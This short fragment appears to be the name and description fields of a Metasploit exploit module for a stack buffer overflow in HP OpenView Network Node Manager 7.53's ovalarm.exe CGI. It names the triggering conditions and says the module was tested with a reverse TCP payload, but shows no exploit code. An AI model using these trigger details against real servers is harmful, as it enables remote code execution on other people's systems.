'Name' => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
arbitrary code.
This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
function within "ovalarm.exe". A stack buffer overflow occurs when processing an
HTTP request that contains the following.
1. An "Accept-Language" header longer than 100 bytes
2. An "OVABverbose" URI variable set to "on", "true" or "1"
The vulnerability is related to "_WebSession::GetWebLocale()" ..
NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
